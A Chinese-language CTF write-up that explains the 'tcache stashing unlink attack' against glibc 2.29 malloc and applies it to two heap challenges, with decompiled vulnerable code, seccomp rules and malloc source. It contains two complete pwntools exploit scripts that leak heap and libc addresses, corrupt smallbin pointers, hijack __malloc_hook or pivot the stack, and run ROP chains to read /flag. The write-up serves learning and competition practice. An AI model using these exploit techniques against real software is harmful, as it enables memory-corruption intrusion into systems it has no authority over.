前几天BUUCTF
办了场新春红包赛,做到了一道咲夜南梦
师傅出的glibc 2.29
下的题,做题过程中发现和去年Hitcon CTF的一道one punch man
很像,网上其他人的做法有unlink
和large bin attack
,这里再引进一种新的攻击方式,达到相同条件下任意地址写一个libc地址
的目的。需要声明的是这种攻击方式并非笔者原创,而是看到台湾一位师傅berming博客
的题解学习的,这种攻击方式原作者称为TCACHE STASHING UNLINK ATTACK
,现分享给大家。
程序开启了常见的所有保护,实现了Add
、Edit
、Delete
和Show
等功能,除此之外还有一个后门函数Backdoor
。
另外函数有沙箱保护,只有下面这些系统调用可用。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL
其中,Add函数可以分配[0x80,0x400]
大小的堆块,分配的函数为calloc
,输入数据首先存储到栈上,之后再使用strncpy
拷贝到bss
上的数组里
unsigned __int64 __fastcall Add(__int64 a1, __int64 a2) { unsigned int idx; // [rsp+8h] [rbp-418h] signed int name_len; // [rsp+Ch] [rbp-414h] char s[1032]; // [rsp+10h] [rbp-410h] unsigned __int64 v6; // [rsp+418h] [rbp-8h] v6 = __readfsqword(0x28u); MyPuts("idx: "); idx = read_int(); if ( idx > 2 ) error("invalid", a2); MyPuts("hero name: "); memset(s, 0, 0x400uLL); name_len = read(0, s, 0x400uLL); if ( name_len <= 0 ) error("io", s); s[name_len - 1] = 0; if ( name_len <= 0x7F || name_len > 0x400 ) error("poor hero name", s); *((_QWORD *)&unk_4040 + 2 * idx) = calloc(1uLL, name_len); qword_4048[2 * idx] = name_len; strncpy(*((char **)&unk_4040 + 2 * idx), s, name_len); memset(s, 0, 0x400uLL); return __readfsqword(0x28u) ^ v6; }
Delete函数free
堆块之后未清空,造成double free
和UAF
void __fastcall Delete(__int64 a1, __int64 a2) { unsigned int v2; // [rsp+Ch] [rbp-4h] MyPuts("idx: "); v2 = read_int(); if ( v2 > 2 ) error("invalid", a2); free(*((void **)&unk_4040 + 2 * v2)); }
后门函数可以调用malloc
分配0x217
大小的堆块,但是要要满足*(_BYTE *)(qword_4030 + 0x20) > 6
,我们在main
函数里可以看到这里被初始化为heap_base+0x10
,对于glibc 2.29,这个位置对应存储的是tcache_perthread_struct
的0x220
大小的tcache_bin
的数量,正常来说,如果我们想调用后门的功能,要让这个count
为7,然而这也就意味着0x217
再分配和释放都同glibc 2.23
一样,我们无法通过UAF
改chunk的fd
来达到任意地址写的目的,因此我们要通过别的方式修改这个值。
/* ptr = (char *)malloc(0x1000uLL); if ( !ptr ) error("err", a2); v3 = ptr; free(ptr); qword_4030 = ((unsigned __int64)ptr & 0xFFFFFFFFFFFFF000LL) + 0x10; */ __int64 __fastcall Magic(__int64 a1, __int64 a2) { void *buf; // [rsp+8h] [rbp-8h] if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 ) error("gg", a2); buf = malloc(0x217uLL); if ( !buf ) error("err", a2); if ( read(0, buf, 0x217uLL) <= 0 ) error("io", buf); puts("Serious Punch!!!"); puts(&unk_2128); return puts(buf); }
Edit和Show函数都是实现了字面功能的函数,不再赘述。
现在的目标变成了如何在一个地址上写一个较大的数,在glibc 2.29
增加了对unsorted bin attack
的检查,即检查双向链表的完整性,这使得这个攻击完全失去了作用,由于我们使用的是calloc,分配过程中不从tcache bins
中取堆块,只能用fastbin attack
,但是这里又限制分配的大小从0x80
开始,这种思路也失效了,在这种情况下我们要介绍的攻击方式就派上了用场。
这种攻击的场景是我们请求申请一个大小为size
的chunk,此时堆中有空闲的small bin
(两个),根据small bin的FIFO
,会对最早释放的small bin
进行unlink
操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim)
,在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache
,这时候放入的话没有完整性检查,即不会检查这些small bin的fd
和bk
。在放入之前会有另一次unlink
,这里的bck->fd = bin;
产生的结果是将bin的值写到了*(bck+0x10)
,我们可以将bck伪造为target_addr-0x10
,bin为libc
相关地址,则可以向target_addr
写入bin
,攻击结果和unsored bin attack
的结果类似。
注意刚才描述的放入过程是一个循环,我们将伪造的bck
看成一个堆块,其bk
很可能是一个非法的地址,这样就导致循环到下一个堆块时unlink
执行到bck->fd = bin;
访问非法内存造成程序crash。为了避免这种情况我们选择释放6
个对应size的chunk到tcache bin
,只为tcache
留一个空间,这样循环一次就会跳出,不会有后续问题。
/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
有了上述介绍之后解题就简单多了,首先UAF可以泄露heap
和libc
地址,然后我们free
一个0x220
大小的块进入tcache并使用UAF修改其fd
为__malloc_hook
备用。
之后我们释放9次0x400
大小的堆块,再分配大小为0x300
的堆块,产生一个0x100
大的last_remainder
,再分配一个大于0x100
的堆块让这个last_remainder
放入small bin[0x100]
;再用相同方式构造出另一个相同大小small bin
,我们分别称之为bin1和bin2,使用Edit
将bin2->bk
改为(heap_base+0x2f)-0x10
,调用calloc(0xf0)
触发上述流程,最终改掉heap_base+0x30
的值绕过检查。
最后调用后门函数修改__malloc_hook
为gadget(mov eax, esi ; add rsp, 0x48 ; ret)
,在add的时候将rsp
改到可控的输入区域调用rop chains
。
#coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./one_punch') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./one_punch') else: libc = ELF('./x64_libc.so.6') p = remote('f.buuoj.cn',20173) def Add(idx,name): p.recvuntil('> ') p.sendline('1') p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("hero name: ") p.send(name) def Edit(idx,name): p.recvuntil('> ') p.sendline('2') p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("hero name: ") p.send(name) def Show(idx): p.recvuntil('> ') p.sendline('3') p.recvuntil("idx: ") p.sendline(str(idx)) def Delete(idx): p.recvuntil('> ') p.sendline('4') p.recvuntil("idx: ") p.sendline(str(idx)) def BackDoor(buf): p.recvuntil('> ') p.sendline('50056') sleep(0.1) p.send(buf) def exp(): #leak heap for i in range(7): Add(0,'a'*0x120) Delete(0) Show(0) p.recvuntil("hero name: ") heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850 log.success("[+]heap base => "+ hex(heap_base)) #leak libc Add(0,'a'*0x120) Add(1,'a'*0x400) Delete(0) Show(0) p.recvuntil("hero name: ") libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000) log.success("[+]libc base => " + hex(libc_base)) # for i in range(6): Add(0,'a'*0xf0) Delete(0) for i in range(7): Add(0,'a'*0x400) Delete(0) Add(0,'a'*0x400) Add(1,'a'*0x400) Add(1,'a'*0x400) Add(2,'a'*0x400) Delete(0)#UAF Add(2,'a'*0x300) Add(2,'a'*0x300) gdb.attach(p) #agagin Delete(1)#UAF Add(2,'a'*0x300) Add(2,'a'*0x300) Edit(2,'/flag'.ljust(8,'\x00')) Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f)) #trigger Add(0,'a'*0x217) Delete(0) Edit(0,p64(libc_base+libc.sym['__malloc_hook'])) Add(0,'a'*0xf0) BackDoor('a') #mov eax, esi ; add rsp, 0x48 ; ret #magic_gadget = libc_base + libc.sym['setcontext']+53 # add rsp, 0x48 ; ret magic_gadget = libc_base + 0x000000000008cfd6 payload = p64(magic_gadget) BackDoor(payload) p_rdi = libc_base + 0x0000000000026542 p_rsi = libc_base + 0x0000000000026f9e p_rdx = libc_base + 0x000000000012bda6 p_rax = libc_base + 0x0000000000047cf8 syscall = libc_base + 0x00000000000cf6c5 rop_heap = heap_base + 0x44b0 rops = p64(p_rdi)+p64(rop_heap) rops += p64(p_rsi)+p64(0) rops += p64(p_rdx)+p64(0) rops += p64(p_rax)+p64(2) rops += p64(syscall) #rops += p64(libc.sym['open']) #read rops += p64(p_rdi)+p64(3) rops += p64(p_rsi)+p64(heap_base+0x260) rops += p64(p_rdx)+p64(0x70) rops += p64(p_rax)+p64(0) rops += p64(syscall) #rops += p64(libc.sym['read']) #write rops += p64(p_rdi)+p64(1) rops += p64(p_rsi)+p64(heap_base+0x260) rops += p64(p_rdx)+p64(0x70) rops += p64(p_rax)+p64(1) rops += p64(syscall) Add(0,rops) p.interactive() exp()
这道题目和上面的题目非常相似,开启了除canary之外的所有保护,禁掉了execve
。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011 0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011 0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010 0006: 0x20 0x00 0x00 0x00000024 A = args[2] >> 32 0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010 0008: 0x20 0x00 0x00 0x00000020 A = args[2] 0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL
此外程序允许Add
的次数最多为28
次,只能分配0x10
、0xf0
、0x300
和0x400
的堆块,只能Edit
一次,存在double free
漏洞,后门里可以溢出到rbp
和retn_addr
进行栈迁移。绕过的条件是*(_QWORD *)(qword_4058 + 0x800) > 0x7F0000000000LL
或者*(_QWORD *)(qword_4058 + 0x7F8
及*(_QWORD *)(qword_4058 + 0x808)
其中一个不为0,这个地址被初始化为堆基址。
/* qword_4058 = (__int64)malloc(0x1000uLL);qword_4050 = qword_4058 & 0xFFFFFFFFFFFFF000LL */ ssize_t __fastcall Magic(__int64 a1, __int64 a2) { char buf; // [rsp+0h] [rbp-80h] if ( *(_QWORD *)(qword_4058 + 0x800) <= 0x7F0000000000LL || *(_QWORD *)(qword_4058 + 0x7F8) || *(_QWORD *)(qword_4058 + 0x808) ) // large bin attack? { GoodBye(); } puts("You get red packet!"); printf("What do you want to say?", a2); return read(0, &buf, 0x90uLL); // no canary }
我们的做法和之前一致,通过tcache stashing unlink attack
将目标地址改为libc
相关地址绕过检查,之后调用后门进行栈迁移。
#coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 0 elf = ELF('./pwn') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if debug: p = process('./pwn') else: p = remote('node3.buuoj.cn',28367) map_1 ={"0x10":"1","0xf0":"2","0x300":"3","0x400":"4"} def Add(idx,size,content): p.recvuntil('Your input: ') p.sendline('1') p.recvuntil("Please input the red packet idx: ") p.sendline(str(idx)) p.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ") p.sendline(map_1[hex(size)]) p.recvuntil("Please input content: ") p.send(content) def Show(idx): p.recvuntil('Your input: ') p.sendline('4') p.recvuntil("Please input the red packet idx: ") p.sendline(str(idx)) def Delete(idx): p.recvuntil('Your input: ') p.sendline('2') p.recvuntil("Please input the red packet idx: ") p.sendline(str(idx)) def Edit(idx,content): p.recvuntil('Your input: ') p.sendline('3') p.sendlineafter("Please input the red packet idx: ",str(idx)) p.recvuntil("Please input content: ") p.send(content) def Suprise(content): p.recvuntil('Your input: ') p.sendline('666') p.sendafter("What do you want to say?",content) def exp(): #leak heap for i in range(0,13): Add(i,0x400,str(i)) for i in range(6): Add(13,0xf0,str(13)) Delete(13) Delete(0) Delete(1) Show(1) #leak heap heap_base = u64(p.recvline().strip("\n").ljust(8,"\x00")) - (0xa270-0x9000) log.success("[*]heap base => " + hex(heap_base)) #leak libc for i in range(2,8): Delete(i) Show(7) libc_base = u64(p.recvline().strip('\n').ljust(8,"\x00")) - (0x7ffff7fb4ca0-0x7ffff7dd0000) log.success("libc base => " + hex(libc_base)) libc.address = libc_base p_rdi = libc_base + 0x0000000000026542 p_rsi = libc_base + 0x0000000000026f9e p_rdx = libc_base + 0x000000000012bda6 p_rax = libc_base + 0x0000000000047cf8 syscall = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 # #add 6 bins to tcache[0x100] #for i in range(8,13): # Delete(i) Add(0,0x300,"0")#cut 0x410->0x310+0x100 Add(1,0x300,"1")#put 0x100 to small bin in order to be in tcache Delete(9)#7 & 9 Add(2,0x300,"2") Add(3,0x300,"3") #now we write sth rop_heap = heap_base+(0x55555555c700-0x555555559000) #open rops = "/flag\x00\x00\x00" rops += p64(p_rdi)+p64(rop_heap) rops += p64(p_rsi)+p64(0) rops += p64(p_rdx)+p64(0) rops += p64(p_rax)+p64(2) rops += p64(syscall) #rops += p64(libc.sym['open']) #read rops += p64(p_rdi)+p64(3) rops += p64(p_rsi)+p64(heap_base+0x260) rops += p64(p_rdx)+p64(0x30) rops += p64(p_rax)+p64(0) rops += p64(syscall) #rops += p64(libc.sym['read']) #write rops += p64(p_rdi)+p64(1) rops += p64(p_rsi)+p64(heap_base+0x260) rops += p64(p_rdx)+p64(0x30) rops += p64(p_rax)+p64(1) rops += p64(syscall) #rops += p64(libc.sym['write']) rops = rops.ljust(0x300,'\x00') Edit(9,rops+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c1e0-0x555555559000))+p64(heap_base+(0x555555559a60-0x555555559000)-0x10)) #gdb.attach(p,'b* 0x0000555555554000 + 0x144d') Add(0,0xf0,"1")#put 0x100 to small bin in order to be in tcache #now we rop payload = "a"*0x80+p64(rop_heap)+p64(leave_ret) Suprise(payload) p.interactive() exp()
这种攻击方式的利用结果和unsorted bin attack
的结果非常相似,有望成为glibc 2.29
下替代后者的新兴手段。另外据AngelBoy
的回复,Hitcon另一题LazyHouse
其中也用到了这种攻击方式,大家可以实践一下。